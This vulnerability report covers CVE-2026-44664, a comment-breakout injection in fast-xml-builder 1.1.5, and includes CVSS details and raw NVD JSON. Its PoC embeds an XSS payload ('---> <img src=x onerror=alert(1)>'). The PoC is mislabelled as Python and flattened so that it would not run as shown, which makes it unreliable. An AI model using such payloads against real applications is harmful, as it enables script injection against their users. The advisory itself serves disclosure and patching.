Security Vulnerability Report
中文
CVE-2026-44664 CVSS 6.1 MEDIUM

CVE-2026-44664

Published: 2026-05-13 16:16:59
Last Modified: 2026-05-13 16:58:10

Description

fast-xml-builder builds XML from JSON. In 1.1.5, the fix for CVE-2026-41650 in fast-xml-parser sanitizes -- sequences in XML comment content using .replace(/--/g, '- -'). This skip the values containing three consecutive dashes (e.g., --->...), allowing an attacker to break out of an XML comment and inject arbitrary XML/HTML content. This vulnerability is fixed in 1.1.6.

CVSS Details

CVSS Score
6.1
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

fast-xml-builder <= 1.1.5

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// PoC for CVE-2026-44664 const { Builder } = require('fast-xml-builder'); // Vulnerable input with triple dashes to break out of comment const maliciousInput = '---> <img src=x onerror=alert(1)>'; const options = { ignoreAttributes: false, format: true, suppressEmptyNode: true }; const builder = new Builder(options); // Constructing XML with the malicious input try { const xmlOutput = builder.buildObject({ data: { '#comment': maliciousInput } }); console.log('Generated XML:'); console.log(xmlOutput); // Expected: The comment closes early, injecting the img tag } catch (e) { console.error('Error:', e); }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-44664", "sourceIdentifier": "[email protected]", "published": "2026-05-13T16:16:58.937", "lastModified": "2026-05-13T16:58:09.717", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "fast-xml-builder builds XML from JSON. In 1.1.5, the fix for CVE-2026-41650 in fast-xml-parser sanitizes -- sequences in XML comment content using .replace(/--/g, '- -'). This skip the values containing three consecutive dashes (e.g., --->...), allowing an attacker to break out of an XML comment and inject arbitrary XML/HTML content. This vulnerability is fixed in 1.1.6."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-91"}]}], "references": [{"url": "https://github.com/NaturalIntelligence/fast-xml-builder/security/advisories/GHSA-45c6-75p6-83cc", "source": "[email protected]"}]}}